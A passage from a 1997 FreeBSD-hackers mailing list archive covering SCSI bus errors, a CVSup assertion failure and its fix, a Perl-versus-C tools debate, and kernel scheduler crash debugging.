0 - Quantum LPS340S (340MB disk). > ID 1 - HP C3323-300 (1GB disk). > ID 5 - Toshiba XM-4101TA (2x CD). > > All are recognized correctly during boot (both disks work at 10MB/sec). > Both 2.2.2-RELEASE and 2.2-090801-RELENG installs give the following > shortly after starting writing to the disks (either during newfs-ing them > or while copying): > > ncr0:0: ERROR (20:0) (8-28-0) (8/13) @ (e18:18000140). The 20 indicates the BF flag (bus fault) is set in the DSTAT interrupt cause register. This means, that a PCI bus transaction failed. > This machine used to work fine (without the HP disk though) when it had a > 486 CPU under Win95 and NT, BTW. > > Can anyone make sense of that? Well, I guess there are chip-set features enabled, that do not really work with your revision of that chip set, and Win-NT may run because it just overrides the BIOS settings and disables some performance options ... But this is just a guess ... Regards, STefan From owner-freebsd-hackers Tue Aug 12 15:57:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA28189 for hackers-outgoing; Tue, 12 Aug 1997 15:57:01 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA28183 for ; Tue, 12 Aug 1997 15:56:58 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id PAA17625 for ; Tue, 12 Aug 1997 15:56:57 -0700 (PDT) Date: Tue, 12 Aug 1997 15:56:57 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: CVSUP assert failure: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk not sure what's wrong. I installed the latest cvsupd and cvsup to make sure it wasn't old-version problems. Running on freeBSD 2.2.2, trying to sup ports: Add delta 1.35 97.07.08.13.04.09 ache Add delta 1.36 97.08.12.11.49.12 peter Add delta 1.37 97.08.12.18.20.00 peter ports/www/apache-current/Makefile: Checksum mismatch -- will transfer entire file Edit ports/www/apache-current/patches/patch-aa Add delta 1.1 95.08.28.13.28.46 jkh Add delta 1.2 95.09.23.18.47.54 pst Add delta 1.3 95.09.26.06.15.02 pst Add delta 1.4 95.09.29.17.01.18 pst Add delta 1.5 95.09.30.19.11.53 pst Add delta 1.6 95.09.30.19.20.22 pst Add delta 1.7 95.10.02.09.07.27 pst Add delta 1.8 95.12.02.23.07.25 jfieber Add delta 1.9 96.05.19.22.21.52 ache Add delta 1.10 96.07.11.11.03.58 ache Add delta 1.11 96.07.21.05.07.09 ache Add delta 1.12 96.08.11.14.49.44 markm Add delta 1.13 96.08.22.20.15.49 ache Add delta 1.14 96.12.11.19.10.07 ache Add delta 1.15 97.01.28.05.39.40 ache Add delta 1.16 97.05.02.18.22.10 ache Add delta 1.17 97.05.03.00.57.44 ache Add delta 1.18 97.05.31.20.16.08 ache Add delta 1.19 97.07.14.21.26.18 ache Add delta 1.20 97.08.12.18.20.02 peter *** *** runtime error: *** ASSERT failed *** file "../src/RCSDelta.m3", line 182 *** Abort trap (core dumped) Just throwing it out for somebody's perusal... ANybody at all. From owner-freebsd-hackers Tue Aug 12 16:08:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA29166 for hackers-outgoing; Tue, 12 Aug 1997 16:08:58 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA29150 for ; Tue, 12 Aug 1997 16:08:50 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id JAA17188; Wed, 13 Aug 1997 09:11:05 +1000 (EST) Date: Wed, 13 Aug 1997 09:11:04 +1000 (EST) From: "Daniel O'Callaghan" To: Jaye Mathisen cc: hackers@FreeBSD.ORG Subject: Re: What's the interest in standard tools rewritten in perl? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 12 Aug 1997, Jaye Mathisen wrote: > I was in the process of adding some flexibility to newsyslog, and decided > to just rewrite the darn thing in perl5. > > Essentially I added the ability to datestamp the logfiles, and a couple of > other things. > Anyway, just curious. I'm sure many of us have sysadmin tools written in perl; I do. However, each time my perl scripts run, they weigh down my machine and I wish I had the time to write the programs in C. Each time something in the system is converted from C to perl, the general performance of FreeBSD will appear to be that small amount more sluggish (less zippy, perhaps). There's a software company in Seattle which writes code like this... /* Daniel O'Callaghan */ /* HiLink Internet danny@hilink.com.au */ /* FreeBSD - works hard, plays hard... danny@freebsd.org */ From owner-freebsd-hackers Tue Aug 12 16:18:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA00119 for hackers-outgoing; Tue, 12 Aug 1997 16:18:51 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA00110 for ; Tue, 12 Aug 1997 16:18:44 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id TAA11981; Tue, 12 Aug 1997 19:23:09 -0400 Date: Tue, 12 Aug 1997 19:23:09 -0400 (EDT) From: Ben Black To: Jaye Mathisen cc: hackers@FreeBSD.ORG Subject: Re: What's the interest in standard tools rewritten in perl? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk implement a key system service in a language that requires the presence of a complete compiler for it to run? i don't think so. On Tue, 12 Aug 1997, Jaye Mathisen wrote: > > > I was in the process of adding some flexibility to newsyslog, and decided > to just rewrite the darn thing in perl5. > > Essentially I added the ability to datestamp the logfiles, and a couple of > other things. > > I can always call it something else (newnewsyslog?), but I was wondering > if FreeBSD Inc would consider utilities that were not written in C? Seems > like there was some discussion about lack of tools in TCL and Perl, but > I'm not sure about the politics of tool replacement, as opposed to tool > addition. > > Anyway, just curious. > From owner-freebsd-hackers Tue Aug 12 16:21:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA00349 for hackers-outgoing; Tue, 12 Aug 1997 16:21:54 -0700 (PDT) Received: from austin.polstra.com (austin.polstra.com [206.213.73.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA00344 for ; Tue, 12 Aug 1997 16:21:51 -0700 (PDT) Received: from austin.polstra.com (jdp@localhost) by austin.polstra.com (8.8.6/8.8.5) with ESMTP id QAA06247 for ; Tue, 12 Aug 1997 16:21:44 -0700 (PDT) Message-Id: <199708122321.QAA06247@austin.polstra.com> To: hackers@freebsd.org Subject: CVSup problems with the apache-current port Date: Tue, 12 Aug 1997 16:21:44 -0700 From: John Polstra Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk It has been brought to my attention that some recent reshuffling of the apache ports in the CVS repository has led to assertion failures in CVSup during checkout-mode updates. Some of the RCS files in the master repository were replaced with completely different files, and this caused the problems. In checkout mode, CVSup assumes that "revision 1.1" of a file means the same thing today as it did yesterday. That assumption got violated. The problem affects at least the apache-current portion of the ports tree, and possibly some of the other apache variations too. As far as I know, it affects only people using checkout mode ("tag=." in the supfile). To recover from the problem, do something like this: cd /usr/ports/www rm -rf apache* and then re-run CVSup to bring back those files from scratch. Sorry for the inconvenience. I'll try to make CVSup deal with this class of repository problems better in a future release. Many thanks to Brian Handy and Alexander Indenbaum for reporting the problem to me. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-knowledge is always bad news." -- John Barth From owner-freebsd-hackers Tue Aug 12 16:50:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA01874 for hackers-outgoing; Tue, 12 Aug 1997 16:50:25 -0700 (PDT) Received: from austin.polstra.com (austin.polstra.com [206.213.73.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA01855 for ; Tue, 12 Aug 1997 16:50:18 -0700 (PDT) Received: from austin.polstra.com (jdp@localhost) by austin.polstra.com (8.8.6/8.8.5) with ESMTP id QAA06501; Tue, 12 Aug 1997 16:50:15 -0700 (PDT) Message-Id: <199708122350.QAA06501@austin.polstra.com> To: mrcpu@cdsnet.net Subject: Re: CVSUP assert failure: In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Cc: hackers@freebsd.org Date: Tue, 12 Aug 1997 16:50:15 -0700 From: John Polstra Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article , Jaye Mathisen wrote: > > *** > *** runtime error: > *** ASSERT failed > *** file "../src/RCSDelta.m3", line 182 > *** Thanks for the report. It's caused by recent fiddling around with the RCS files in the repository. :-( You will need to "rm -rf ports/www/apache-current" and run CVSup again. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-knowledge is always bad news." -- John Barth From owner-freebsd-hackers Tue Aug 12 18:11:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA06097 for hackers-outgoing; Tue, 12 Aug 1997 18:11:00 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA06092 for ; Tue, 12 Aug 1997 18:10:56 -0700 (PDT) From: Julian Elischer Received: (from julian@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id SAA21060 for hackers; Tue, 12 Aug 1997 18:10:50 -0700 (PDT) Date: Tue, 12 Aug 1997 18:10:50 -0700 (PDT) Message-Id: <199708130110.SAA21060@freefall.freebsd.org> To: hackers@FreeBSD.ORG Subject: 2.2.2+ crash.. more info Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk We have several hundred Bsd machines here.. we see this one enough for me to recognise it.. the plot thickens.. I have discovered the following: 1/ the code that crashes: scanning the queues in swithc: looking a the queue array: }, { ph_link = 0xf01be350, ph_rlink = 0xf01be350 }, { ph_link = 0x0, <----- a few instructions before, this ALSO was 0xf07e1000 ph_rlink = 0xf07e1000 }, { ph_link = 0xf01be360, ph_rlink = 0xf01be360 }, { ph_link = 0xf01be368, ph_rlink = 0xf01be368 }, one entry is bogus from the registers we see it was 0xf07e1000 shortly before. looking at the registers we can see what proc struct is being looked at.. $11 = { p_procq = { tqe_next = 0x0, tqe_prev = 0xf01be7e8 }, p_list = { le_next = 0xf07e1200, le_prev = 0xf07d2808 }, ... this is where the NULL came from but wait! this looks like an entry in a sleep queue.. sure enough! in the array of sleep queues... }, { tqh_first = 0x0, tqh_last = 0xf01be7d8 }, { tqh_first = 0x0, tqh_last = 0xf01be7e0 }, { tqh_first = 0xf07e1000, <--------- !!!!! tqh_last = 0xf07e1000 }, { tqh_first = 0x0, tqh_last = 0xf01be7f0 }, { tqh_first = 0x0, so why was this sleeping? looking in the proc struct again.. p_wchan = 0xf272f698, p_wmesg = 0xf015bead "swread", Since the processes proc structure looks liek a sleeping process, it was probably put onto the sleep queue last, when it was already on the runnable queue. how can this happen? some ideas: it was half way through being woken up when the scheduling occured? and still looked like a sleeping process? unlikely.. it was put onto the sleep queue accidentally by interrupt code that just had it's proc address by accident? unlikely. somehow a wakeup occured during the tsleep call? sounds unlikely.. code examinations will follow with more info.. if this strikes anyone as familiar, do chime in! julian From owner-freebsd-hackers Tue Aug 12 18:41:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA07783 for hackers-outgoing; Tue, 12 Aug 1997 18:41:12 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA07773; Tue, 12 Aug 1997 18:40:56 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA11047; Wed, 13 Aug 1997 11:10:48 +0930 (CST) From: Michael Smith Message-Id: <199708130140.LAA11047@genesis.atrad.adelaide.edu.au> Subject: Re: 2.2.2+ crash.. more info In-Reply-To: <199708130110.SAA21060@freefall.freebsd.org> from Julian Elischer at "Aug 12, 97 06:10:50 pm" To: julian@FreeBSD.ORG (Julian Elischer) Date: Wed, 13 Aug 1997 11:10:47 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Julian Elischer stands accused of saying: > > We have several hundred Bsd machines here.. we see this one enough for > me to recognise it.. > > the plot thickens.. > I have discovered the following: > 1/ the code that crashes: > scanning the queues in swithc: This looks a lot like the sort of crazy stuff I was seeing when I was doing Verboten things inside a 'fast' ISA interrupt handler. Do you have RI_FAST set for any of your drivers, particularly ones that you've written yourself? You could try ripping RI_FAST out ouf _all_ of the handlers you're using to start with and see if this cures things. > code examinations will follow with more info.. > if this strikes anyone as familiar, do chime in! Frighteningly. It took us the best part of a year just to get a stack trace that actually hinted at the problem. > julian -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 12 18:48:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA08302 for hackers-outgoing; Tue, 12 Aug 1997 18:48:35 -0700 (PDT) Received: from hotmail.com (F20.hotmail.com [207.82.250.31]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA08297 for ; Tue, 12 Aug 1997 18:48:33 -0700 (PDT) Received: (qmail 27317 invoked by uid 0); 13 Aug 1997 01:48:02 -0000 Message-ID: <19970813014802.27316.qmail@hotmail.com> Received: from 128.8.126.132 by www.hotmail.com with HTTP; Tue, 12 Aug 1997 18:48:02 PDT X-Originating-IP: [128.8.126.132] From: "Douglas Jardine" To: freebsd-hackers@freebsd.org Cc: djardine@hotmail.com Subject: Memory management details Content-Type: text/plain Date: Tue, 12 Aug 1997 18:48:02 PDT Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I had some questions regarding Memory allocation/management in FreeBSD/4.4BSD. I was hoping some here would be able to help me out. 1)The mail archives seem to indicate that the latest versions of FreeBSD use a zone memory allocator which replaced the 4.4BSD buddy system allocator. Is this correct? 2)Is FreeBSD considering moving to a more simplified pmap module? Since it is customized to run only on i386 architeure, there doesn't seem to be any need for maintaining whatever extra fat the pmap module may have. 3)FreeBSD uses Global-LRU for its page replacement. Is there any project in the FreeBSD community working towards a working-set type model? 4)Or for that matter a project to add "swap files"? What is the maximum number of swap partitions allowed by the architecture? Thanks. -dj ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-freebsd-hackers Tue Aug 12 18:50:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA08424 for hackers-outgoing; Tue, 12 Aug 1997 18:50:46 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA08417 for ; Tue, 12 Aug 1997 18:50:43 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA25220; Tue, 12 Aug 1997 21:50:04 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Tue, 12 Aug 1997 21:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id VAA01709 for ; Tue, 12 Aug 1997 21:20:09 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id VAA02128 for freebsd-hackers@freefall.cdrom.com; Tue, 12 Aug 1997 21:29:32 -0400 (EDT) Date: Tue, 12 Aug 1997 21:29:32 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708130129.VAA02128@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers Subject: Time for my report on 2.2.2 installation... Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Well - As with every new version; eventually, I get to installing it at home and trying out a SL/IP install... So - I'm doing so with 2.2.2. I am just tickled pink to announce that the SL/IP support worked right-out-of-the-box! (Good work Jordan!) I'm still running through an install from the 2.2.2 CDROM, no problems yet... Good release! - Dave Rivers - From owner-freebsd-hackers Tue Aug 12 19:03:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA09415 for hackers-outgoing; Tue, 12 Aug 1997 19:03:54 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA09370; Tue, 12 Aug 1997 19:03:37 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id TAA00524; Tue, 12 Aug 1997 19:01:30 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd000521; Wed Aug 13 02:01:27 1997 Message-ID: <33F114EB.167EB0E7@whistle.com> Date: Tue, 12 Aug 1997 18:59:07 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Michael Smith CC: Julian Elischer , hackers@FreeBSD.ORG Subject: Re: 2.2.2+ crash.. more info References: <199708130140.LAA11047@genesis.atrad.adelaide.edu.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael Smith wrote: > > Julian Elischer stands accused of saying: > > > > We have several hundred Bsd machines here.. we see this one enough for > > me to recognise it.. > > > > the plot thickens.. > > I have discovered the following: > > 1/ the code that crashes: > > scanning the queues in swithc: > > This looks a lot like the sort of crazy stuff I was seeing when I was > doing Verboten things inside a 'fast' ISA interrupt handler. Do you have > RI_FAST set for any of your drivers, particularly ones that you've written > yourself? > > You could try ripping RI_FAST out ouf _all_ of the handlers you're using > to start with and see if this cures things. > > > code examinations will follow with more info.. > > if this strikes anyone as familiar, do chime in! > > Frighteningly. It took us the best part of a year just to get a stack > trace that actually hinted at the problem. > > > julian this particular machine has no interupt handlers that were not part of standard FreeBSD.. ed0 and ed1 networks, wd0 disk sio0 and sio1 how do I SET RI_FAST? :) (does that answer your question?) actually it looks like some sort of SPL problem to me but as I said, there is very little that is non standard on this machine.. the fact that the process got put on the a sleep queue while it was on the runnable queue. suggests that maybe an interrupt driver ran 'tsleep' while curproc had the value of this process in it.. (does it get cleared when the idle process is running, or does it still point to the last runnable process? (I guess I'll go look at that). julian From owner-freebsd-hackers Tue Aug 12 19:11:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA09909 for hackers-outgoing; Tue, 12 Aug 1997 19:11:53 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA09903 for ; Tue, 12 Aug 1997 19:11:43 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA11202; Wed, 13 Aug 1997 11:41:27 +0930 (CST) From: Michael Smith Message-Id: <199708130211.LAA11202@genesis.atrad.adelaide.edu.au> Subject: Re: /usr/dos for doscmd In-Reply-To: <19970810170138.SM15800@uriah.heep.sax.de> from J Wunsch at "Aug 10, 97 05:01:38 pm" To: joerg_wunsch@uriah.heep.sax.de Date: Wed, 13 Aug 1997 11:41:27 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch stands accused of saying: > > No, /usr/local is already reserved for the ports system. /compat > perhaps not. I still vote for /usr/libdata/dos/. I'll second that, insofar as from the point of view of the system, DOS binaries and the doscmd.kernel file are both "data". > > > About relying on X11 being installed... Can't that be made checked > > > at runtime? By using dlopen() instead of normal dependency, or > > > so? > > > Nice idea. > > Did'ya ever try? I think that's gonna be hard if many symbols are > being used. I just looked at it; it would be hell without rewriting the (fairly disgusting) terminal interface. There was some work being done on this a while back; I am hoping that with the latest burst of enthusiasm one or more of the original hackers will get involved again. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 12 19:39:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA11650 for hackers-outgoing; Tue, 12 Aug 1997 19:39:06 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA11637; Tue, 12 Aug 1997 19:38:51 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA11390; Wed, 13 Aug 1997 12:04:40 +0930 (CST) From: Michael Smith Message-Id: <199708130234.MAA11390@genesis.atrad.adelaide.edu.au> Subject: Re: 2.2.2+ crash.. more info In-Reply-To: <33F114EB.167EB0E7@whistle.com> from Julian Elischer at "Aug 12, 97 06:59:07 pm" To: julian@whistle.com (Julian Elischer) Date: Wed, 13 Aug 1997 12:04:39 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, julian@FreeBSD.ORG, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Julian Elischer stands accused of saying: > Michael Smith wrote: > > > > Julian Elischer stands accused of saying: > > > > > > We have several hundred Bsd machines here.. we see this one enough for > > > me to recognise it.. > > > > > > the plot thickens.. > > > I have discovered the following: > > > 1/ the code that crashes: > > > scanning the queues in swithc: > > > > This looks a lot like the sort of crazy stuff I was seeing when I was > > doing Verboten things inside a 'fast' ISA interrupt handler. Do you have > > RI_FAST set for any of your drivers, particularly ones that you've written > > yourself? > > > > You could try ripping RI_FAST out ouf _all_ of the handlers you're using > > to start with and see if this cures things. > > > > > code examinations will follow with more info.. > > > if this strikes anyone as familiar, do chime in! > > > > Frighteningly. It took us the best part of a year just to get a stack > > trace that actually hinted at the problem. > > > > > julian > > this particular machine has no interupt handlers that were not > part of standard FreeBSD.. > > ed0 and ed1 networks, > wd0 disk > sio0 and sio1 > > how do I SET RI_FAST? :) > (does that answer your question?) You mask it into the id_ri_flags field of the isa_device structure. Currently only the 'cy' and 'sio' drivers use it. You could try removing it from the 'sio' driver and see if it helps, but I expect that Bruce would insist that this is not the case. > actually it looks like some sort of SPL problem to me but as I said, > there is very little > that is non standard on this machine.. The RI_FAST problem _is_ an spl problem, in that a fast interrupt handler does not honour any spl() protection. > the fact that the process got put on the a sleep queue while it was > on the runnable queue. suggests that maybe an interrupt driver > ran 'tsleep' while curproc had the value of this process in it.. You get this sort of confusion if you futz with *sleep/wakeup inside a fast interrupt handler because you can end up re-entering the code that shuffles processess from one queue to another. I would be fairly surprised, given your usage, if the sio interrupt handler was the cause of your trouble; I think I may have given you a bum steer. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 12 20:13:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA14707 for hackers-outgoing; Tue, 12 Aug 1997 20:13:34 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA14649; Tue, 12 Aug 1997 20:13:10 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id UAA02073; Tue, 12 Aug 1997 20:08:10 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd002070; Wed Aug 13 03:08:01 1997 Message-ID: <33F12483.2781E494@whistle.com> Date: Tue, 12 Aug 1997 20:05:39 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Michael Smith CC: julian@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: 2.2.2+ crash.. more info References: <199708130234.MAA11390@genesis.atrad.adelaide.edu.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael Smith wrote: > > Julian Elischer stands accused of saying: > > Michael Smith wrote: > > > > > > Julian Elischer stands accused of saying: > > > > > > > > We have several hundred Bsd machines here.. we see this one > > > > enough for > > > > me to recognise it.. > > the fact that the process got put on the a sleep queue while it was > > on the runnable queue. suggests that maybe an interrupt driver > > ran 'tsleep' while curproc had the value of this process in it.. stupidly I have a big clue right in front of me that I didn't mention.. the process in question has a wait channel of 'swread' that's in the VM code.. in fact, in: static int swap_pager_getpages(object, m, count, reqpage) ... /* * wait for the sync I/O to complete */ s = splbio(); while ((bp->b_flags & B_DONE) == 0) { if (tsleep(bp, PVM, "swread", hz*20)) { printf("swap_pager: indefinite wait buffer: device: %d, blkno: %d, size: %d\n", bp->b_dev, bp->b_blkno, bp->b_bcount); } } what I wonder about is: does this ever get run in the context of another process? who runs this? etc. I think (after discussion with john) that the quick test will be to add code to tsleep to check if the process being slept is still on the run queue.. From owner-freebsd-hackers Tue Aug 12 20:19:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA15278 for hackers-outgoing; Tue, 12 Aug 1997 20:19:42 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA15272 for ; Tue, 12 Aug 1997 20:19:38 -0700 (PDT) Received: (qmail 5266 invoked by uid 1000); 13 Aug 1997 03:19:56 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199708120620.XAA10981@kachina.jetcafe.org> Date: Tue, 12 Aug 1997 20:19:56 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Dave Hayes Subject: RE: DPT PM2144 driver? Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Dave Hayes; On 12-Aug-97 you wrote: > I'm not sure if I asked this before, but are there drivers for this > caching SCSI controller in FreeBSD? There are in linux and BSDI, > so I presume that FreeBSD has some too. Try sendero-ppp.i-connect.net/crash for a patch against 2.2 Simon From owner-freebsd-hackers Tue Aug 12 20:20:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA15459 for hackers-outgoing; Tue, 12 Aug 1997 20:20:09 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA15387 for ; Tue, 12 Aug 1997 20:20:03 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA11651; Wed, 13 Aug 1997 12:48:19 +0930 (CST) From: Michael Smith Message-Id: <199708130318.MAA11651@genesis.atrad.adelaide.edu.au> Subject: Re: reset screen hardware? In-Reply-To: from Alfred Perlstein at "Aug 8, 97 07:53:06 pm" To: perlsta@sunyit.edu (Alfred Perlstein) Date: Wed, 13 Aug 1997 12:48:19 +0930 (CST) Cc: terry@lambert.org, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alfred Perlstein stands accused of saying: > I don't get it, aren't all SVGA cards the same when i comes down to text > modes as well as regular VGA modes? You're right, you don't get it. No. > I'm not familiar with the protection mechanism in freebsd, if i wrote a > program to reset the text screens by programming the ports what kind of > skeleton code would it need? It wouldn't work. You would, in fact, stand a reasonable chance of producing a program which would be able to destroy utterly older monitors and many LCD panels. > Btw, there are interupts that point to tables of data that is put into > the videocard to set various modes, could the kernel save the data before > it switches to protected mode? Different cards have different register sets. There is no structure in a video card BIOS that describes the data and the registers in such a fashion that you can manipulate 